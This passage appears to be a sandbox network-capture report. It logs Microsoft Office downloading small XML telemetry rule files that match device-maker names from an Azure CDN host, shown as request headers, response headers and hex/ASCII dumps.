2024-11-21 23:11:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:38 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231138Z-174c587ffdfcb7qhhC1TEB3x7000000000m000000000uhwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:38 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231138Z-174c587ffdfcb7qhhC1TEB3x7000000000mg00000000thmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:38 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:39 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: db42c49d-901e-007b-4a2f-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231139Z-178bfbc474bv587zhC1NYCny5w00000001y000000000smgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:39 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:40 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:40 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:40 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231140Z-178bfbc474bscnbchC1NYCe7eg00000002a0000000009sfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:40 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:40 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231140Z-174c587ffdfn4nhwhC1TEB2nbc00000000q000000000eavh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:40 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 74046e45-401e-000a-0635-3c4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231140Z-178bfbc474bwlrhlhC1NYCy3kg000000025g0000000089sn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:41 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:40 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:40 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 242b2616-d01e-0017-014e-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231140Z-15b8b599d88vp97chC1TEB5pzw00000000p00000000048ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:41 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:41 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:41 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231141Z-174c587ffdfp4vpjhC1TEBybqw00000000f000000000fht2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:41 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:42 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:43 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:42 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: e845eaf5-101e-008e-5d91-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231142Z-15b8b599d88hd9g7hC1TEBp75c00000000hg00000000a023 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:43 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:44 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231144Z-178bfbc474bxkclvhC1NYC69g4000000024g000000004b6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:44 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:44 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:44 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231144Z-15b8b599d88z9sc7hC1TEBkr4w00000000mg00000000vv73 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:44 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49782	94.245.104.56	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
